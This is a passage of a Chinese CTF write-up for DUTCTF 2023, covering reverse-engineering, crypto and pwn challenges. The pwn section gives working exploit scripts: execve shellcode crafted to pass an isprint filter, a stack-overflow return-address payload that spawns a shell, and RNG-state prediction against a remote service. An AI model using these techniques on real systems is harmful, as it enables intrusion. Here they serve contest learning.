    uint8_t data[] = {0x8A, 0x76, 0x15, 0x52, 0x7E, 0x52, 0xF2, 0x3F};
    double num = 0;
    memcpy(&num, data, sizeof(num));
    printf("original double=%lf\n", num);
    // 双精度转十六进制
    num = 99999.0;
    memcpy(data, &num, sizeof(num));
    for (int i = 0; i < 8; i++)
        printf("%X ", data[i]);
    printf("\n");
    return 0;
}

ezre【中】

这题真有意思, 刚开始看 main 函数是调用一个函数对输入的字符串进行加密, 然后和 "h5lkgRh6uThEqjlvqndvpA1HplZCr65D8nQ!" 进行比较, 反编译加密字符串的代码如下所示:

const char *key = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ-\\";
char *encrypt(const char *input) {
    int input_len = strlen(input);
    int output_len;
    if (input_len % 3)
        output_len = 4 * (input_len / 3 + 1);
    else
        output_len = 4 * (input_len / 3);
    char *output = (char*) malloc(output_len + 1);

    int i = 0;
    for (int j = 0; i < output_len - 2; i += 4, j += 3) {
        output[i] = key[(input[j] >> 2) & 0x3F]; // j的高6位
        output[i + 1] = key[(input[j] << 4) & 0x30 | (input[j + 1] >> 4)]; // j的低2位 j+1的高4位
        output[i + 2] = key[(input[j + 1] << 2) & 0x3C | (input[j + 2] >> 6)]; // j+1的低4位 j+2的高2位
        output[i + 3] = key[input[j + 2] & 0x3F]; // j+2的低6位
    }
    if (input_len % 3 == 1) {
        output[i - 2] = '!';
        output[i - 1] = '!';
    } else if (input_len % 3 == 2) {
        output[i - 1] = '!';
    }
    output[i] = '\0';

    return output;
}

看起来就像 base64, 只不过字符表换了, 所以可以写代码转成 base64 再用在线工具解码:

const char *base64_key = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
const char *cipher = "h5lkgRh6uThEqjlvqndvpA1HplZCr65D8nQ!";
char *to_base64_encode(const char *input) {
    int len = strlen(input);
    char *output = (char*) malloc(len + 1);
    for (int i = 0; i < len; i++) {
        char c = cipher[i];
        for (int j = 0; j < strlen(key); j++) {
            if (c == key[j]) {
                output[i] = base64_key[j];
            }
        }
    }
    output[len] = '\0';
    return output;
}
int main() {
    puts(cipher);
    puts(to_base64_encode(cipher));
    return 0;
}

解码后发现是 DUTCTF{thi5_is_f@ke_flag!}, 一看就是假的 flag, 被骗力

然后从头开始看汇编, 发现 sub_121E 才是真正的 main 函数 (学到了), 反编译为 c 代码如下所示:

const char s0[] = {'i',0,0,0,'o',0,0,0,'r',0,0,0,'v',0,0,0,'p',0,0,0,'?',0,0,0,0/*Ch*/,0,0,0,0,0,0,0};
const char s1[] = {'R',0,0,0,'h',0,0,0,'e',0,0,0,'k',0,0,0,'p',0,0,0,'$',0,0,0,0/*Ch*/,0,0,0,0,0,0,0};
const char s2[] = {'W',0,0,0,'s',0,0,0,'m',0,0,0,'m',0,0,0,'c',0,0,0,'$',0,0,0,0/*Ch*/,0,0,0,0,0,0,0};
int cipher[26] = {17, 102, 23, 23, 18, 61, -72, 44, 1, 92, -111, 54, -97, 44, 11, 95, -109, 8, 59, -102, 10, 118, 6, 70, 103, -28};

int64_t print(const char *arr) {
    int64_t result;
    for (unsigned int i = 0; ; i++) {
        result = i;
        if (i > 7) break;
        putchar(arr[4 * i] ^ i);
    }
    return result;
}

int main() {
    srand(0);
    print(s0);
    char *str = (char *) malloc(50);
    fgets(str, 27, stdin);

    int i;
    int len = strlen(str);
    for (i = 0; i < len; i++) {
        if (rand() % 2)
            str[i] = str[i] ^ str[(i + 1) % len]; // ~(str[i] & str[(i + 1) % len]) & (str[i] | str[(i + 1) % len]);
        else
            str[i] = str[i] + str[(i - 1) % len]; // (str[i] ^ str[(i - 1) % len]) + ((str[i] & str[(i - 1) % len]) << 1);
    }
    for (int n = 0; n < len; n++) {
        printf("%d ", str[n]);
    }
    while (--i >= 0) {
        if (str[i] != cipher[i]) {
            print(s2);
            return 0xFFFFFFFF;
        }
    }
    print(s1);
    return 0;
}

可以看到, 那一大堆的逻辑运算本质上就是异或和加法, 然后还通过一个伪随机来判断执行哪个, 除此之外我们还知道 flag 的开头是 "DUTCTF{", 结尾是 "}", 所以理论上能推出整个字符串

但是可惜做到这的时候是半夜 11 点半, 我电脑没电了, 所以没写程序, 只能匆忙打印前 26 个随机数模 2 的结果, 然后把所有数字记下来用笔和纸算, 推导过程如下图所示:

4

crypto

*老滚五(易)

这是老滚五的龙语, 百度能搜到字母表, 然后翻译一下即可得到 flag

DUTCTF{YOU_ARE_A_REAL_DRAGONBORN}

*神奇的短信(易)

手机键盘密码: https://ctf-wiki.org/crypto/classical/others/#_25

DUTCTF{SCREW}

shamir【易】

秘密就是 flag, 随便上网上找个代码解密就行了, 因为 p 已经给出了, 没有任何难度

from Crypto.Util.number import *
import shamir
p = <out.txt的第一行>
xs = <out.txt的第二行>
ys = <out.txt的第三行>
points = [(xs[i], ys[i]) for i in range(32)]
secret = shamir.recover_secret(shares=points, prime=p)
print(long_to_bytes(secret))

随机数的力量{中}

64 位随机数是由两个 32 位随机数拼成的, 第一个在低 32 位, 第二个在高 32 位

所以只需要获取 312 个 64 位随机数就能逆向种子并且预测下一个随机数, 脚本如下所示:

from Crypto.Util.number import *
from randcrack import RandCrack
from pwn import *

sh = remote('xxx.xxx.xxx.xxx', xxxxx)
name = b'\xff\xff\xff\xff\xff\xff\xff\xfe'
sh.sendline(name)
print(sh.recvuntil(b'>'))

rc = RandCrack()
i = 0
while i < 312:
    i += 1
    sh.sendline(b'-1')
    sh.recvuntil(b':')
    num = int(sh.recvuntil(b'\n')[:-1].decode('utf-8'))
    print(f"第 {i} 次猜测结果: {num}")
    rc.submit(num & 0xffffffff)
    rc.submit(num >> 32)
print("结果是: " + str(rc.predict_randint(0, 18446744073709551615 - 1)))

sh.interactive()

参考资料:

  • https://blog.csdn.net/qq_42557115/article/details/128228201
  • https://github.com/tna0y/Python-random-module-cracker

pwn

所需知识

做 pwn 之前先学习点小知识

x64 函数调用规则

x64 机器在调用某个函数前,比如 int func(int a, int b, int c, int d, int e, int f, int g, int h),首先他会把前 6 个参数从左往右存入到寄存器 rdi、rsi、rdx、rcx、r8、r9,其余参数存入到栈里,保存的顺序是从右往左入栈。比如 abcdef 会存入到寄存器里,然后一次入栈 h、g。保存完参数之后再把函数后面一条指令的地址入栈保存。

*中间人(易)

第一天: 先拦截序号 0, 然后丢掉, 此时遥控器是 1, 车是 0. 然后再拦截, 然后发送 0, 让 bob 进车

第二天: 自己发 1

综上所述, 输入的序列是: 1 1 -1 1 0 2 1

Isprint?(易)

按 F5 发现主函数无法反编译为 c 代码, ida 提示 0x145F 处出错, 阅读汇编可知这行是执行 buf 处的代码, 而 buf 是读取的输入的字符串, 这样我们直接构造一个执行 sh 的负载输入就行了

将 0x145F 处的汇编改为 NOP, 然后一键 F5, 发现在调用 ((void (*)()) buf)() 之前还调用了 login 函数处理字符串, login 函数的源码如下:

void login(char* message) {
    int len = strlen(message);
    for (int i = 0; i < len; i++) {
        if (!isprint(message[i]) && message[i] != '\n') {
            puts("Y0U ARE A L05ER");
            exit(-1);
        }
    }
}

可以看到如果输入的字符串中存在不是可打印字符且不等于换行符则退出程序

尝试使用 metasploit 中的 msfvenom 工具将汇编编码为大小写混合的字符串, 但是 64 位转不了

所以考虑将 /bin/sh 字符串后面加上 ‘\0’ 绕过 strlen, 尝试手写 shell (其实是魔改 pwntools 里的 shell), 成功获取 shell, 代码如下:

from pwn import *

sh = process('./login')
# 获得 shellcode 并进行编译
context(os = 'linux', arch = 'amd64')
# print(shellcraft.execve('/bin//sh\x00', ['sh'], 0))
shellcode = asm("""
    push 0x00
    mov rax, 0x68732f2f6e69622f
    push rax
    mov rdi, rsp
    push 0x1010101 ^ 0x6873
    xor dword ptr [rsp], 0x1010101
    xor esi, esi
    push rsi
    push 8
    pop rsi
    add rsi, rsp
    push rsi
    mov rsi, rsp
    xor edx, edx
    push SYS_execve
    pop rax
    syscall
""")
print(shellcode)
sh.sendline(shellcode)
print(sh.recv())
sh.interactive()

参考资料: https://blog.csdn.net/m0_71081503/article/details/125815899

SSH(中)

checkpasswd 函数有一个缓冲区溢出漏洞, 构造一下就行了, 脚本如下:

import time
from pwn import *

sh = process('./ssh1')
sh.sendline(b'Lo0ra1N')
time.sleep(1)
sh.sendline(b'ssh loora1n@192.168.1.233')
time.sleep(1)
print(sh.recv())
unopt_addr = 0x00401343
payload = b'\0'.ljust(0x70 + 8, b'A') + p64(unopt_addr)
print(payload)
sh.sendline(payload)
print(sh.recv())
sh.interactive()

然后就拿到 shell 了

EZstack(中)

要执行的函数 echo 的地址为 0x004011B3, 但是把函数返回值覆盖过去之后发现不行, 换成 0x004011b7 就行了

结果发现被骗了, 只输出了 flag 这几个字, 仔细一看 echo 函数, 里面是 system("echo flag") …

然后就想能不能利用栈执行 system, 最后一天也给出了提示是栈转移, 不过尝试了一下没做出来, 下面是尝试的过程

用 ROPgadget 找 gadget:

> ROPgadget --binary EZstack --only 'pop|ret'

Gadgets information
============================================================
0x0000000000401264 : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000401266 : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000401268 : pop r14 ; pop r15 ; ret
0x000000000040126a : pop r15 ; ret
0x0000000000401263 : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000401267 : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000401139 : pop rbp ; ret
0x000000000040126b : pop rdi ; ret
0x0000000000401269 : pop rsi ; pop r15 ; ret
0x0000000000401265 : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000401016 : ret

Unique gadgets found: 11

wsfw

ORW(中)

程序用了 seccomp 限制系统调用, 只能用 open, read, write, 所以叫 ORW, 但是不会做, 试了一会也没做出来, 下面是我想的步骤:

第一次输入有个格式化字符串漏洞, 可以打印栈指针或者覆盖任意地址

第二次输入是栈溢出, 但是开了 canary 和 NX, 所以需要绕过 canary 和构造 rop 链

学姐の日记(难)

能看得出来是堆溢出 实际上不是

hint 是利用 double free 可以创造一个即在 tcache 又在 fastbin 的 chunk,在 malloc 时就可以伪造一串 fastbin 了!

但是没学过, 来不及做了

标题: DUTCTF 2023
作者: QingChenW
链接: https://dawncraft.cc/2023/03/460/
本文遵循 署名-非商业性使用-相同方式共享 4.0 国际 (CC BY-NC-SA 4.0) 许可
禁止商用, 非商业转载请注明作者及来源!
上一篇
下一篇
隐藏